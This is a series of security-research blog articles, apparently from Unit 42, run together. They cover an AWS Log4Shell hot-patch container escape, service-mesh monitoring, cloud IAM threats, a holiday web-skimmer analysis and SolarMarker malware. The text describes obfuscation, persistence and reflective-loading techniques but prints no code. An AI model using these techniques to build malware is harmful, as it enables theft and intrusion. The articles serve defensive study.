To verify the vulnerability is exploitable, we built a proof of concept (PoC) container image. When deployed to a cluster or VM that runs a vulnerable version of a hot patch solution, the container exploits the vulnerabilities to escape and gain root code execution on the underlying host. It then sends a reverse shell to an attacker-controlled server.
In the demo video below, a user installed the hot patch Daemonset to an EKS cluster. The demo then simulates a supply chain attack by showing what happens when the user inadvertently runs a malicious container image that exploits the hot patch.
Video 1. CVE-2021-3100 exploit demo.
While the demo showcases a supply chain attack, existing containers that were compromised (e.g. by a network payload) can also exploit the issues to escape and take over their underlying host. We've decided not to share the exploit's implementation details at this time to prevent malicious parties from weaponizing it.
Impact
Given the urgency surrounding Log4Shell, users may have deployed hot patches at scale, inadvertently putting container environments at risk. Even after Java applications were patched against Log4Shell, users may have kept the hot patch running for defense-in-depth as there isn't a strong incentive to remove it.
Containers are often used as a security boundary between applications running on the same machine. A container escape allows an attacker to extend a campaign beyond a single application and compromise neighboring services. In Kubernetes clusters, a single container escape is unfortunately sometimes enough to take over the entire cluster.
The issues are exploitable regardless of the container configuration, so even environments that enable advanced isolation techniques like running containers in user namespaces or as a non-root user are affected.
Aside from containers, unprivileged processes could have also exploited the vulnerabilities to escalate privileges and gain full control over their underlying server.
Mitigations
AWS released a fix for each hot patch solution. Once a host runs a fixed version, container escape and privilege escalation are no longer possible.
In Kubernetes clusters, you can install the fixed hot patch version by deploying the latest Daemonset provided by AWS. Note that only deleting the hot patch Daemonset doesn't remove the hot patch service from your nodes. Updated April 25: Currently, there isn't a fixed Daemonset version for Debian-based hosts (Debian and Ubuntu). See this GitHub thread for more details. Updated May 5: A fixed Daemonset version for Debian-based hosts was released. Note that the fixed version for the Debian log4j-cve-2021-44228-hotpatch package is 1.1.17.
On standalone hosts, you can upgrade by running yum update log4j-cve-2021-44228-hotpatch.
Alternatively, if you're confident that your environment is patched against Log4Shell, you can disable the hot patch service on a host by running sudo touch /etc/log4j-cve-2021-44228-hotpatch.kill. To disable Hotdog, run apiclient set oci-hooks.log4j-hotpatch-enabled=false.
Prisma Cloud customers can identify affected hosts under the Vulnerabilities tab. The platform detects the hot patch packages and alerts customers on VMs running a vulnerable version. To search for the vulnerabilities, use the Amazon Linux Security Advisories (ALAS) IDs associated with them: ALAS-2021-1554, ALAS-2021-1732, ALAS-2022-1580 and ALAS-2022-1773.
Figure 1. Prisma Cloud detects and alerts on vulnerable log4j-cve-2021-44228-hotpatch versions.
Palo Alto Networks Prisma Cloud, Cortex XDR and Next-Generation Firewalls (NGFWs) can detect follow-on attacker activities and disrupt command and control communications like the reverse shell used in the demo.
Safely Interacting With Containers
CVE-2021-3100, CVE-2021-3101, CVE-2022-0070 and CVE-2022-0071 add to a long list of container escape vulnerabilities that arise from a host process directly interacting with a running container. Simple tasks like copying files or spawning a new containerized process can have surprising outcomes when the container is malicious.
If you're building software around containers, defer to an established container runtime like runc for operations involving a container's processes or filesystem. Although they have also had their share of vulnerabilities, container runtimes are by far the most vetted and mature programs for safely interacting with containers.
Conclusion
Given the urgency surrounding Log4Shell, users may have deployed hot patches at scale, inadvertently putting container environments at risk. We encourage users to upgrade to the fixed hot patch version as soon as possible. Multitenant container environments and clusters running untrusted images are especially at risk.
If you're still patching against Log4Shell, prioritize that effort first. While the presented issues can lead to severe attacks against container environments, Log4Shell has rightfully earned its spot as one of the worst vulnerabilities of all time and is still being actively exploited.
We'd like to thank AWS for their partnership and coordination in remediating this vulnerability efficiently. As Log4Shell exploitation peaked, AWS's hot patch helped the community stop countless attacks. With these vulnerabilities fixed, it's now possible to use the hot patch to address Log4Shell while also keeping container environments secure.
A service mesh platform is a dedicated infrastructure layer that allows for the granular control of how applications share data. A standard use case could be to control the flow and rate of network traffic to a new version of a production web-based application. When the new web application is brought online, it is important to test the application to ensure it can handle a particular level of performance without failing. Service mesh platforms can be leveraged to facilitate how network traffic flows within a network and can be used to load balance the network traffic for a set of web-based applications.
However, service mesh platforms can also provide more insight into what has been a relative black hole for security practitioners within microservice environments: the dynamic monitoring of container processes and their network operations within Kubernetes (K8s) clusters. This blog will shed light on the threats facing cloud microservice architectures and how service mesh platforms like Istio, Linkerd and Consul can enhance the visibility of security incidents occurring within K8s clusters.
Development operations (DevOps) teams design containerized applications to be dynamically scalable, stateless, immutable and ephemeral, as is required to operate and maintain profitability within today’s evolving cloud computing landscape.
However, malicious attacker groups like TeamTNT, WatchDog and Nobelium (the group behind the SolarWinds Orion supply chain attack) have been witnessed directly targeting containerized applications. These attacks have resulted in the successful compromise of these ephemeral and immutable instances and have allowed the actors to escape compromised containers – and launch additional containers designed to perform other nefarious actions.
Sadly, security operations teams are often none the wiser to these activities, as visibility within the K8s cluster is frequently lacking.
TeamTNT is a prime example of threat actors targeting K8s applications, specifically in terms of their approach to Atlassian’s Confluence application. TeamTNT actors are actively using the exploitCVE-2021-26084, however, they are not the only actor group targeting this application either. As of the time of this writing, Shodan lists 976 individually internet-facing Atlassian Confluence servers around the world (see Figure 1), giving TeamTNT and other actor groups several opportunities to compromise cloud systems. While these servers are exposed, they may not be vulnerable to the given exploit.
Figure 1. Shodan results for Atlassian’s Confluence.
The Atlassian Confluence example paints a vivid picture of active cryptojacking attacks against cloud K8s containers, at least from the perspective of TeamTNT. However, exposed Atlassian Confluence applications running within cloud containers only represent one application.
Can more popular containerized applications present similar risks? Researchers analyzed the top 20 downloaded container images as listed on Docker Hub. Notable in this analysis, Atlassian’s Confluence is not on that list. But little is known about whether attacks are being performed against any of the more popular and potentially more exposed cloud-based applications such as web service applications or database applications. This is the foundation for stating that more visibility is required in order for security resources to detect the threats facing microservice infrastructure.
Prisma Cloud’s Defender agent offers one step toward the type of visibility discussed.
Service mesh platforms, like those provided by Istio, Linkerd and Consul, have been primarily used by DevOps to provide a means to secure the network communication pathways between interconnected microservices hosted within a K8s cluster. Service mesh platforms provide features such as reliability, security and observability and make the process of organizing, monitoring and securing each individual microservice more maintainable and manageable, and thus more secure.
Large enterprise organizations already use service mesh architecture within their K8s environments. This can be seen from HG Insights, which records and displays a relatively anonymous view of the various technologies that organizations employ. As of this writing, the data shows:
While organizations are using service mesh architectures, it is unclear if or how these organizations are integrating the telemetry insight these mesh architectures offer with their already existing security operations center (SOC) tool sets.
What is known is that service mesh platforms can provide a pathway for security teams to gain visibility within their K8s clusters, by leveraging the same features already used to mirror traffic while performing load balancing operations.
Before we dive into how to leverage service meshes for more insight, I want to talk about why we as an industry need to gain additional insight in the first place.
The Wider Ecosystem
Service mesh platforms can assist security teams in monitoring the actions of a container after it has been compromised. So how can an ephemeral, immutable and stateless container be compromised?
TeamTNT targeting Atlassian Confluence applications hosted within K8s clusters using known exploits targeting that application is a great example. However, are there other known exploits that can be leveraged to target more popular containerized applications?
The following figures illustrate the number of known exploits associated with each of the top 20 containerized applications (Figure 2), and the number of known exposed instances associated with that application (Figure 3). Exploit statistics were pulled from ExploitDB, and the number of exposed instances was determined from Shodan. The listed values for each finding were as of the date of this writing.
Figure 2. The number of known exploits and the number of known exposed instances associated with each of the top 20 containerized applications.
In total, 1,989 exploits are listed within the top 20 containerized applications alone. (Additional research was reported on the number of vulnerabilities within the infrastructure as code (IaC) templates and was published in the 2H 2021 Unit 42 Cloud Threat Report.)
Of these top 20 applications, 13 contain at least one known exploit and four contain at least 90 (see Table 1). It is extremely important to ensure that the latest and most up-to-date applications are deployed within K8s clusters to ensure they are not vulnerable to known exploits.
Container Image
Number of Vulnerabilities
Exploit Versions Identified in This Analysis
WordPress
1321
0.6 < 5.7.x
Apache
279
0.8.x < 1.0x
MySQL
158
3.20.32 < 6.0.9
Ubuntu
90
5.10 < 19.10
Python
39
1.5.2 < 3.5
Table 1. Top five downloaded container images with the highest number of known exploits.
Figure 3 presents another unique view of the state of known exposed instances for each of the top 20 images. The chart presents the number of instances exposed in terms of the cloud service provider environments they are hosted upon. Some interesting takeaways: Amazon Web Services hosts the vast majority of exposed python, httpd and node instances. Google Cloud hosts the majority of exposed PostgreSQL and MySQL instances. Perhaps the most interesting finding is that DigitalOcean hosted a significant portion of the publicly exposed instances in nearly every one of the top 20 analyzed container images, as of April 4, 2022. It is currently unclear why DigitalOcean users appear to expose more applications compared to other CSP users. But it could be due to several factors including price, which see users spin up cloud instances faster and more cheaply. This could attract a user base that may also neglect security best practices.
While some applications are designed to be exposed to the public – namely web services like nginx, httpd, etc. – database applications such as postgres, mongo, mysql, mariadb, etc should never be directly exposed to the public as a matter of security best practice. Users and cloud architects can dramatically improve their cloud security by simply ensuring that only those applications that require public exposure are allowed to do so, while preventing other applications from being exposed.
If an organization hosts cloud instances on any cloud platform, Unit 42 researchers recommend that these organizations perform an audit of their cloud resources to ensure users of those platforms are adequately securing that cloud infrastructure. Researchers recommend that users implement a Cloud Native Application Protection Platform (CNAPP) designed to detect and mitigate unwanted cloud-based applications from being publically exposed.
Figure 3. Distribution of exposed instances by cloud service provider.
Hypothetical questions for the readers: If Atlassian’s Confluence is being widely targeted by malicious actors and has yet to crack the top 50 of most popular container images, what other containerized applications, which maintain several hundred known vulnerabilities, are being targeted by malicious actors? If and when these containers are compromised, are they being monitored for malicious operations by security teams or their tools?
Example Security-Focused Service Mesh Architecture
So what does a security-focused service mesh architecture look like? See Figure 4. This architecture leverages the network traffic monitoring and mirror functionalities which are packaged within service mesh architectures to allow for traffic to be mirrored to standard security tools that are common within SOCs. This provides network traffic analysis capabilities within K8s clusters.
Additionally, by using cloud-native technologies like a Cloud Workload Protection Platform (CWPP), e.g. Prisma Cloud Compute, users can monitor runtime container operations within their K8s clusters, to detect and mitigate malicious processes, network traffic and API connections. Cloud-native technologies like CWPPs can work hand in hand with service mesh platforms, extending the service mesh’s capabilities to gather and collect auditable events from containers directly from the container’s host system without generating a significant amount of processing resource overhead.
Figure 4. Example of a security-focused service mesh architecture.
Implementing a Security-Focused Service Mesh
CWPPs like Prisma Cloud’s Compute provide the functionality of process monitoring within a K8s cluster and also incorporate a robust shift-left scanning functionality for DevOps continuous integration and continuous development (CI/CD) pipelines. Implementing shift-left scanning practices will dramatically improve an organization’s security risk exposure by making the process of compromising the organization’s cloud infrastructure more difficult for would-be attackers.
However, organizations should not be lulled into a false sense of security by thinking that scanning alone will prevent compromise post-deployment. Scanning alone can only assist in making the cloud infrastructure more difficult to initially compromise. It does not provide visibility, monitoring capabilities or alerting after a successful compromise or during an active security incident.
This is where a service mesh security solution comes into play. The service mesh can increase visibility and enhance the security of microservice infrastructure. It can work in tandem with the intelligence gathered from CWPP and cloud security posture management (CSPM) solutions.
Where CWPP products like Prisma Cloud Compute provide runtime monitoring in a container, firewall as a platform solution (FWaaPs) like Palo Alto Networks CN-Series provides URL filtering and Layer 7 detection mechanisms. A service mesh solution is able to integrate with both of these solutions and help increase security protection by providing mutual transport layer security (mTLS) encryption between microservices as well as the ability to mirror network traffic to dedicated network traffic analysis applications, which allow for greater insight into network-based attacks targeting microservices.
Runtime Monitoring
A CWPP runtime monitoring application or agent, e.g. Prisma Cloud’s Defender agent, is installed within each K8s cluster and sends the auditable data processed by the containers, and reports that data back to a centralized security application.
There are a number of security tools that are not cloud-native and may not be able to be installed on the K8s cluster itself, such as security information and event management (SIEM) or endpoint detection and response (EDR) agents, or various open-source log collection tools. If non-cloud-native tools such as these are being used, there is still a good chance these tools can be installed upon a cloud-based virtual machine, and most service mesh platforms will allow for a sidecar application to be installed. Sidecars are common architectural components within service mesh platforms and allow a single container to collect telemetry from the containers within a K8s cluster. Sidecars traditionally have small resource requirements – on average < 1 vCPU and < 40MB RAM. The sidecars do not need a significant amount of resources as they are solely relaying container data back to a centralized security application. For more information on sidecar performance see the Istio sidecar and Consul server performance metrics.
To be clear, any tool that provides runtime monitoring will incur a resource utilization requirement. However, the amount of security visibility gathered from the container operations is a key incentive, especially when considering the need to gather security incident data in the event of a compromise.
This level of insight could also allow internal threat hunters to detect the next wave of cutting-edge cloud-focused malware targeting your organization’s cloud infrastructure. Having detailed runtime monitoring capabilities provides a defensive measure to ensure cloud infrastructure remains secure, dynamic and scalable.
Network Traffic Monitoring
Network traffic monitoring is where a service mesh platform truly shines. Service mesh platforms dramatically increase the security hygiene of a K8s cluster by providing mTLS for all microservices running within the cluster. This means that all inter-network communications between services within the cluster will be encrypted.
Additionally, service mesh platforms provide the ability to customize the traffic load balancing operations within a K8s cluster itself by means of an integrated sidecar proxy. Instead of load-balancing network traffic at the CSP level, service mesh platforms can load-balance network traffic within the cluster itself, allowing DevOps teams to roll out new versions of applications incrementally. It also allows them to perform A/B testing without requiring redundant K8s clusters to be created or complex cloud platform load balancing operations to be performed.
K8s cluster network monitoring via service mesh platforms can also provide a needed security operation. Using the service mesh’s native Layer 7 visibility, the mesh can mirror any or all traffic to one or more systems, namespaces, or entire K8s clusters.
The ability to mirror network traffic based upon any layer of the open systems interconnection (OSI) model allows for the integration of security monitoring tools. Integrating URL filtering and DNS monitoring services can detect and prevent network traffic injection attacks, man in the middle (MITM), distributed denial of service (DDoS) or other network-based attacks. Furthermore, the service mesh platform provides an avenue to integrate CSP identity and access management (IAM) tools, allowing security teams to integrate access controls to specific microservices within a K8s cluster. By using the same IAM policies designated for user and service accounts within the hosted cloud platform, the security team can manage user access within the K8s cluster at a more granular level.
Conclusion
Service mesh platforms like Consul, Istio, and Linkerd are paramount to maintaining security best practices within containerized environments. However, their role within the security-focused operations in cloud environments has not been fully developed. Specifically, service mesh platforms can integrate network monitoring tools across all K8s pods and namespaces into a single third-party security-focused application, which dramatically eases security monitoring tasks for security teams.
Prisma Cloud’s Defender agent can be installed on K8s clusters allowing security teams to monitor the runtime operations of containers hosted on a K8s cluster. Service mesh platforms focus on the network mirroring and monitoring components of data within the K8s cluster. With the ability to monitor, investigate and respond to alerts centered around network traffic within K8s clusters, service mesh platforms provide much-needed visibility into K8s clusters. This visibility can shine a light on the threats that face cloud microservices today. This gives security operation teams the ability to truly monitor and respond to threats facing cloud infrastructure.
The ongoing transition to cloud platforms has meant that more sensitive data is stored in the cloud, making it more tempting for adversaries to exploit. When it comes to securing the cloud, identity is the first line of defense. Without proper identity and access management (IAM) policies in place, an organization can pay for any number of security tools – but comprehensive security will never be possible.
To understand how IAM policies affect organizations’ cloud security posture, we analyzed 680,000+ identities across 18,000 cloud accounts from 200 different organizations to understand their configuration and usage patterns. The results of our research were shocking.
Nearly all organizations we analyzed lack the proper IAM management policy controls to remain secure.
These misconfigured IAM policies open the door for what Unit 42 defines as a new type of threat: Cloud Threat Actors. We define a cloud threat actor as “an individual or group posing a threat to organizations through directed and sustained access to cloud platform resources, services or embedded metadata.”
We believe cloud threat actors merit a separate definition because we observe that they have begun to employ a fundamentally different set of tactics, techniques and procedures (TTPs) that are unique to the cloud – such as taking advantage of the ability to perform both lateral movement and privilege escalation operations simultaneously.
Below, we’ll present some of the highlights of the research and recommendations in Unit 42’s latest Cloud Threat Report, “IAM The First Line of Defense.”
Why Identity and Access Management Takes Center Stage
Throughout the pandemic, there were significant expansions of cloud workloads overall. Organizations increased their cloud usage – with a dramatic surge in the number of organizations that host more than half their workloads in the cloud (see Figure 1 below).
Figure 1. Percent change in cloud workloads since 2020, where blue represents cloud workload volumes and green represents organizations hosting more than half their workloads in the cloud.
As more organizations move workloads to the cloud, and develop applications natively in the cloud, identity needs to remain a key focus when building a cloud security strategy.
If you follow Unit 42 closely, you may remember that it was just a short time ago that we published a report on the importance of IAM. When attackers take advantage of misconfigured or overly permissive identity access controls, they don’t need to figure out how to pull off a technically complex compromise. Instead, they can simply gain access to resources as if they have a right to them.
Threat actors are hungry to target organizations that lack proper IAM controls, and pairing this hunger with an increased usage of cloud platforms creates a new kind of threat – one that is more sophisticated yet requires less effort to execute. The question turns to why and how this is possible.
Key Findings From Unit 42’s Cloud Threat Report: IAM The First Line of Defense
Why IAM Is a Target
Let’s address the “why” first by explaining some of the key statistics we uncovered:
Password reuse: 44% of organizations allow IAM password reuse.
Cloud identities are too permissive: 99% of cloud users, roles, services, and resources were granted excessive permissions which were ultimately left unused (we consider permissions excessive when they go unused for 60 days or more).
Built-in cloud service provider (CSP) policies are not managed properly by users: CSP-managed policies are granted 2.5 times more permissions than customer-managed policies, and most cloud users prefer to use built-in policies. Users are able to reduce the permissions given, but often don’t.
Figure 2. Average number of permissions granted by each policy type. CSP-managed policies (AWS_MANAGED_POLICY and AZURE_BUILT_IN_ROLE) grant 2.5 times more permissions than customer-managed policies.
With organizations allowing excessive permissions and overly permissive policies, attackers are too often welcomed into an organization’s cloud environment with keys to the kingdom.
How Cloud Threat Actors Target Cloud Identities
Most organizations are unprepared for an attack through the exploitation of weak IAM policies. Adversaries know this as well; they target cloud IAM credentials and are ultimately able to collect these credentials as part of their standard operating procedures. Case in point, they’re leveraging new TTPs unique to cloud platforms that organizations need to be aware of in order to implement a strategy to protect themselves.
Defense Against IAM Cloud Threats
To help organizations defend themselves against this threat, we created an industry-first Cloud Threat Actor Index that can be found in our report, which charts the operations performed by actor groups that target cloud infrastructure. These charts detail the TTPs of each cloud threat actor, allowing your security team and wider organization to evaluate your strategic defenses and build the proper monitoring, detection, alerting and prevention mechanisms.
Who Is Targeting the Cloud?
The Cloud Threat Actor Index highlights the top actors targeting cloud infrastructure, as well as nation-state actors that have been known to use the cloud to conduct attacks. Below is a preview of the top cloud threat actors that we’ve indexed. We charted their operations in our report, sorted by prevalence.
Top 5 Cloud Threat Actors
TeamTNT: The most well-known and sophisticated credential targeting group.
WatchDog: Considered to be an opportunistic threat group that targets exposed cloud instances and applications.
Kinsing: Financially motivated and opportunistic cloud threat actor with heavy potential for cloud credential collection.
Rocke: Specializes in ransomware and cryptojacking operations within cloud environments.
8220: Monero mining group, purportedly elevated their mining operations by exploiting Log4j in December 2021.
Top Advanced Persistent Threats Utilizing and Targeting Cloud Infrastructure
APT 28 (Fancy Bear).
APT 29 (Cozy Bear).
APT 41 (Gadolinium).
Figure 3. WatchDog Cloud Threat Actor TTPs. The red background denotes TTPs specific to cloud platforms, whereas the green background denotes TTPs which are container-platform specific. TTPs in red font denote operations that can lead to the wider compromise of cloud operations.
Recommendations
Proper IAM configuration can block unintended access, provide visibility into cloud activities and reduce the impact when security incidents occur.
Defense Against Cloud Threats
In particular, we recommend that organizations defend against threats that target the cloud in the following ways:
Cloud Native Application Protection Platform (CNAPP) suite integration.
Harden IAM permissions.
Increase security automation.
In our report we provide details on each of these recommendations, including an eight-step best practices guide to hardening IAM permissions.
Customers’ rising online shopping habits throughout the holiday season are well known, and it seemed likely that cybercriminals would want to capitalize. As we continue to track and observe trends in web threats and how attackers take advantage of them, we were able to use our web threat detection module to quantify the spike in malicious URLs during the most recent holiday season.
From October 2021 to December 2021, our web threat detection module, with the Palo Alto Networks proactive monitoring and detection service, found around 533,000 incidents of malicious landing URLs, 120,753 of which are unique landing URLs. It also detected around 2,900,000 malicious host URLs, 165,000 of which are unique malicious host URLs. We define a malicious landing URL as a URL that provides an opportunity for a user to click a malicious link. A malicious host URL is the page that actually contains a malicious snippet that could abuse a user’s computing power, steal sensitive information or perform other types of attacks.
The following sections present our analysis of findings regarding these web threat trends, including when they are more active, where they are hosted, what categories they belong to and which malware families present threats more often. We highlight the numbers from October to December 2021 in order to raise awareness of threats active in the holiday season.
Palo Alto Networks customers are protected from the web threats discussed here and many others via the Advanced URL Filtering and Threat Prevention cloud-delivered security subscriptions.
By collecting data from October-December 2021 with Advanced URL Filtering, we detected 533,452 incidents of landing URLs containing all kinds of web threats, 120,753 of which are unique URLs.
Web Threats Landing URLs Detection: Time Analysis
As shown in Figure 1, web threats were more active from November-December 2021 than September-October 2021, both for the total and unique hit numbers. As we mentioned in a previous blog, The Year in Web Threats: Web Skimmers Take Advantage of Cloud Hosting and More, this suggests that attackers, especially those targeting e-commerce websites, might be more active during the holiday shopping season. In order to track which web threats cybercriminals will leverage, we take a deeper look into the relationships between web threats’ class and time for trends analysis. We will show data in the Web Threats Malware Class Analysis section.
Figure 1. Web threats landing URLs distribution from September-December 2021. (Blue bars indicate all detections, including repeated detections of the same URL, and red bars indicate detection of unique URLs).
Web Threats Landing URLs: Geolocation Analysis
According to our analysis, the previously mentioned 120,753 unique URLs are from 21,430 unique domains. After identifying the geographical locations for these domain names, we found that the majority number of them seem to originate from the United States, followed by Russia and Germany. However, we recognize that the attackers might leverage proxy servers and VPNs located in those countries to hide their actual physical locations.
The choropleth map shown in Figure 2 indicates the wide distribution of these domain names across almost every continent, including Africa and Australia. Figure 3 shows the top eight countries where the owners of these domain names appear to be located.
Figure 2. Web threats landing URLs’ domain geolocation distribution from October-December 2021Figure 3. Top eight countries where web threat landing URLs’ domains appeared to be located from October-December 2021.
Web Threats Landing URLs: Category Analysis
We analyzed the landing URLs that were originally identified as benign to find common targets for cyberattackers – and where they may be trying to fool users. (These landing URLs currently lead to opportunities for users to click on malicious host URLs.) Going forward, all these landing URLs which lead to malicious code snippets will be marked as malicious by our product. As shown in Figure 4, the top apparently benign targets are personal sites and blogs, followed by business and economy sites and shopping sites. Because attackers often try to trick users into following malicious links from seemingly benign sites like this, we recommend that users exercise caution when visiting a website for the first time.
Figure 4. We divided landing URLs that originally appeared benign into categories. Here are the top 10 categories that hosted web threats from October-December 2021.
Web Threats Malicious Host URLs: Detection Analysis
With Advanced URL Filtering, we detected 2,906,875 incidents of malicious host URLs from October-December 2021, of which 165,255 are unique URLs. In the following section, we will take a closer look at those malicious host URLs. (“Malicious host URLs” specifically refers to pages that contain a malicious snippet that could abuse users' computing power, steal sensitive information and so on).
Web Threats Malicious Host URLs Detection: Time Analysis
As seen in our analysis of landing URLs, web threats were more active from November-December 2021 than September- October 2021 both for all hits and unique hits, as shown in Figure 5. The activity reached a peak in November, which might be due to Black Friday, a major shopping event in countries including the United States, U.K. and Germany.
Figure 5. Web threats malicious host URLs distribution from September-December 2021.
Web Threats Malicious Host URLs Detection: Geolocation Analysis
The 165,255 unique malicious host URLs belong to 14,891 unique domains – fewer unique domains than we observed for landing URLs. This suggests attackers target different entry points but often utilize fewer domain to host the malicious code. The total number of unique malicious host URLs, otherwise, is higher than of unique landing URLs.This suggests attackers will deploy more malicious code when they can leverage an entry point.
After identifying the apparent geographical locations for these domain names, we found that the majority of them also seem to originate from the United States – as we observed for web threats generally. Figure 6 shows the heat map.
Figure 6. Web threats malicious host URLs’ domain geolocation distribution from October-December 2021
Figure 7 shows the top eight countries where the owners of these domain names appear to be located. In contrast to what we observed for web threats overall – for which the top three countries were the United States, Germany and Russia – the top three host domain countries for malicious host URLs were the United States, the Netherlands and Russia. We can see that cyberminals could leverage different domains for malware host URLs and landing URLs.
Figure 7. Top eight countries where web threats malicious host URLs’ domains appeared to be located from October-December 2021.
As shown in Figure 8, JS downloader threats showed the most activity at the end of 2021, followed by cryptominers and web skimmers. As mentioned above, web threats as a whole have been rising in recent months. In order to track what types of web threats most contribute to this rise, we track the trends by different classes, which are shown in Figures 9-13. We can see that web skimmers, JS downloads and web scams followed the same trends as web threats as a whole – unique hits trend upward and total hits reach a peak in November. We believe cybercriminals are more aggressive while victims are more actively participating in online shopping.
JS redirector activity has been rising steadily (but without the November peak), and web miner activity remains relatively stable.
Figure 8. Top five web threats category distribution from October-December 2021.Figure 9. Web skimmer distribution from September-December 2021.Figure 10. Web miner distribution from September-December 2021.Figure 11. JS downloader distribution from September-December 2021.Figure 12. JS redirector distribution from September-December 2021.Figure 13. Web scam distribution from September-December 2021.
Web Threats Malware Family Analysis
Based on our classification of web threats explained in the previous section, we further organized our set of web threats by malware family. The family is important to understanding how threats work since threats in the same family share similar JavaScript code even if the HTML landing pages where they appear have different layouts and styles.
As we did in our yearly analysis, The Year in Web Threats: Web Skimmers Take Advantage of Cloud Hosting and More, we identified pieces of malware as part of a family by checking for certain characteristics: similar code patterns or behaviors or having originated from the same attacker. Figure 14 shows the number of snippets observed for the top 18 malware families we identified. As before, we see fewer families of cryptominers and JS downloaders, while web skimmers show more diversity in code and behavior.
Figure 14. Web threats malware family distribution from September-December 2021.
Web Threats Case Study
Among all of the web threats we detected in the course of this analysis, there is a particularly interesting case of a web threat with few VirusTotal detections at the time we discovered it.
This web skimmer sample was injected into a popular electronic product online shopping site. It used some advanced JavaScript features to obfuscate its malicious JavaScript code to evade detections from security vendors. The malicious JavaScript file was injected into many pages on the victim’s website (Figure 15 shows an example).
Figure 15. A web page on the victim’s website injected with a malicious JavaScript file.
We extracted the malicious JavaScript file from the third-party website for further analysis. The code snippet is shown in Figure 16.
Figure 16. The malicious web skimmer code snippet.
We can see the code is highly obfuscated and uses many tricks to mislead analysts.
First, we extract the most interesting part, Figure 17.
Figure 17. The malicious web skimmer code snippet.
The first line refers to a particular variable, _0x2d92 – however, that variable is not defined until later.
Will this code throw an exception? No, this is a special JavaScript syntax. JavaScript allows for a variable to be quoted before it is defined, but only if the variable is defined in the same file.
Similarly, the _0x52f6 variable is also defined later in the code. It is a function that includes an encrypted array.
Then, we found an anonymous function will be called. The _0x52f6 variable is a parameter, and the anonymous function uses the _0x2d92 function and lots of parseInt functions to decrypt the encrypted array.
One might ask, since the encrypted array is inside the _0x52f6 function, how does it modify it?
That is accomplished through an advanced JavaScript syntax used by this sample. For example, Figure 18:
Figure 18. The malicious web skimmer code snippet.
The code uses JavaScript closure syntax to create a persistent array. If we call onefunc()[0]=123, the first element of the array will be modified persistently.
After the anonymous function execution, we checked the array again and found it was still encrypted. This means it has two layers of encryption.
Next, we filtered out lots of useless code. Below, we show only a section that is related to the code snippet’s purpose, Figurer 19:
Figure 19. The malicious web skimmer code snippet.
The above code makes abundant use of xxxxfunc(array_index, decryption_key). This is the only way to read plain text from the double-encrypted array, and we find that each element of the array has a different decryption key.
Basically, this code logic is completely the same as a sample we analyzed in a previous blog on a web skimmer campaign.
At this point, we can decrypt the malware’s command and control (C2) server, which is defined in Gate: _0x2f1e7d(0x280, "H(U$").
Conclusion
As we saw previously, the most prevalent web threats are still cryptominers, JS downloaders, web skimmers, web scams and JS redirectors. Attackers’ top three targets among the landing URLs we analyzed were personal sites and blogs, business and economy sites and shopping sites.
Furthermore, we found that web threat activity rose during the holiday season in conjunction with customers’ rising shopping activities. This serves as a reminder to exercise caution while shopping for gifts for family and friends during the holiday season, particularly when visiting new websites.
While cybercriminals continue to seek opportunities for malicious cyber activities, Palo Alto Networks customers receive protections from the web threat attacks discussed here and many others via the Advanced URL Filtering and Threat Prevention cloud-delivered security subscriptions.
We also recommend the following actions:
Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention content.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
Indicators of Compromise
Malicious Web Skimmer
SHA256: 69ae50160f22494759f89e2b318fe3f1342a87eeeeb4829fefaeafa4a560d57e
Acknowledgements
We would like to thank Billy Melicher, Alex Starov, Jun Javier Wang, Shresta Bellary Seetharam, Laura Novak and Erica Naone for their help with the blog.
Recently, we've identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.
Some of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims’ web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.
The malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.
Here, we dive into the technical details of the newly identified SolarMarker activity – specifically, how this malware often changes and modifies its attack patterns. For example, the recent version demonstrated an evolution from Windows Portable Executables (EXE files) to working with Windows installer package files (MSI files). According to the evidence we have, this campaign is still in development and going back to using executables files (EXE) as it did in its earlier versions.
Palo Alto Networks customers received protections against the newly discovered campaigns through Cortex XDR and WildFire.
SolarMarker is multi-stage malware. The attackers use obfuscated PowerShell scripts to deploy their attack and stay under the radar.
The primary infection vector of SolarMarker is SEO poisoning, which is an attack method in which threat actors create malicious websites packed with keywords and use search engine optimization techniques to make them show up prominently in search results.
Deployment of SolarMarker Infrastructure on a Victim Machine
The initial stage is an EXE file larger than 250MB (the large file size helps to avoid inspection by an automated sandbox or an AV engine). In this case, the file we analyzed was called setup.exe. based on the sample compilation date in February 2022, the demonstrated artifacts belong to a new development in the malware lifecycle.
Figure 1. Dropper file properties.Figure 2. The file is signed with valid digital certificates to further hide from detection. We assume a stolen code-signing cert from a legitimate company was used to sign SolarMarker – but at the time of writing, the certificate chain has been revoked.
This file is a .NET-compiled dropper that will drop and execute an installer of a legitimate program to avoid raising the user’s suspicion toward the downloaded binary.
Figure 3. Legitimate PDF Merge installer.Figure 4. The name of the legitimate dropped installer file is the same as the first stage file with the ”_install” suffix. (setup_install.exe)
In parallel, the malware runs a PowerShell loader in a new thread to load and execute the SolarMarker backdoor payload.
We can see the loaded script decoded by debugging the PowerShell invoke function.
Let's take a look at the script.
Figure 5. Obfuscated PowerShell script.Figure 6. To improve the readability of this PowerShell loader script, we removed various types of obfuscation and added comments.
Main Sections of the PowerShell Script
showWindowAsync makes PowerShell windows hidden to conceal malicious activity from the plain sight of users.
Writes the encrypted base64 payload of the SolarMarker backdoor to file with random extension into the TEMP folder.
Achieves persistence using the lnk file in the startup folder. The target file of the lnk is the encrypted base64 payload of the SolarMarker backdoor with the random extension. (This file cannot be run directly).
In Windows environments, every file extension is associated with a default program. The associations of extensions with programs are handled through the registry. SolarMarker sets a handler to the custom random extension to run the encrypted payload. This handler is a PowerShell script that decrypts the payload and loads the bytes of the encrypted payload (backdoor) into memory.
The attacker avoids downloading the assembly to disk and subverts it using the ”Load” method, which accepts a byte array instead of a file. The loading technique is called Reflective Code Loading.
